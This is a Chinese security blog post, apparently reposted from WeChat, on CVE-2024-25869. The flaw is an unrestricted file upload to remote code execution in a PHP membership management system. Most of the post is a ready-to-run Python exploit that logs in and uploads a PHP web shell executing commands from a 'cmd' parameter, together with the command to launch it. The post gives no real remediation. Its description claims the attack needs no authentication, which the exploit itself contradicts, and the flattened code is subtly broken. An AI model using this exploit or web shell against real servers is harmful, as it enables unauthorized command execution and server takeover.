CVE-2024-25869

admin 2024年4月10日10:38:03评论15 views字数 3011阅读10分2秒阅读模式

使

01

漏洞名称

PHP会员管理系统-不受限制的文件上传到RCE漏洞

02

漏洞影响

Membership Management System是一个开源项目,地址如下

https://codeastro.com/membership-management-system-in-php-with-source-code/

03

漏洞描述

会员管理系统是一个开源项目,此漏洞的存在使未经身份验证的攻击者能够将.php文件上载到Web服务器,并在运行应用程序的用户的权限下执行代码。

04

环境搭建
  1. 下载代码,解压后放到小皮面板的网站路径下

https://codeastro.com/membership-management-system-in-php-with-source-code/

CVE-2024-25869

2.创建数据库

create database membershiphp;
3.初始化数据库:找到MembershipM-PHPDATABASE FILEmembershiphp.sql
复制建表语句到mysql中执行

CVE-2024-25869

4.找到MembershipM-PHPincludesconfig.php文件修改密码

CVE-2024-25869

5.一键启动

CVE-2024-25869

6.访问页面
http://localhost/MembershipM-PHP/

CVE-2024-25869

05

漏洞复现

CVE-2024-25869

CVE-2024-25869

漏洞复现成功

06

漏洞扫描 poc

python版本poc文件内容如下

import requestsimport argparseimport uuiddef get_session_cookie(base_url, username, password):    login_url = f"{base_url}index.php"    headers = {        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',        'Accept-Language': 'en-US,en;q=0.5',        'Content-Type': 'application/x-www-form-urlencoded',        'Origin': base_url,        'Referer': f'{base_url}index.php',    }    data = {'email': username, 'password': password, 'login': ''}    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}    session = requests.Session()    session.post(login_url, headers=headers, data=data, proxies=proxies, verify=False)    return session.cookies.get('PHPSESSID')def upload_file(base_url, phpsessid):    upload_url = f"{base_url}settings.php"    headers = {        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',        'Accept-Language': 'en-US,en;q=0.5',        'Referer': f'{base_url}settings.php',    }    cookies = {'PHPSESSID': phpsessid}    # Generate a random filename    random_filename = f"{uuid.uuid4()}.php"    files = {        'systemName': (None, 'Membership System'),        'logo': (random_filename, "<?php system($_GET["cmd"]);?>", 'application/x-php'),        'currency': (None, '$'),        'updateSettings': (None, ''),    }    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}    response = requests.post(upload_url, headers=headers, cookies=cookies, files=files, proxies=proxies, verify=False)    if "success" in response.text.lower():        print(f"File uploaded successfully. Path: {base_url}uploads/{random_filename}?cmd=id")        return f"{base_url}uploads/{random_filename}"    else:        print("File upload failed")        return Noneif __name__ == "__main__":    parser = argparse.ArgumentParser(description='Login and Upload Script with Random Filename')    parser.add_argument('-u', '--url', required=True, help='Base URL including MembershipM-PHP path')    parser.add_argument('-l', '--login', required=True, help='Username for login')    parser.add_argument('-p', '--password', required=True, help='Password for login')    args = parser.parse_args()    phpsessid = get_session_cookie(args.url, args.login, args.password)    if phpsessid:        upload_file(args.url, phpsessid)    else:        print("Failed to retrieve PHPSESSID. Cannot proceed with file upload.")

运行POC

python3 script.py -u http://localhost/MembershipM-PHP/ -l 'email@mail.com' -p 'password'

CVE-2024-25869

07

修复建议

开源项目,自行修复。

原文始发于微信公众号(AI与网安):CVE-2024-25869

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日10:38:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-25869https://cn-sec.com/archives/2639790.html

发表评论

匿名网友 填写信息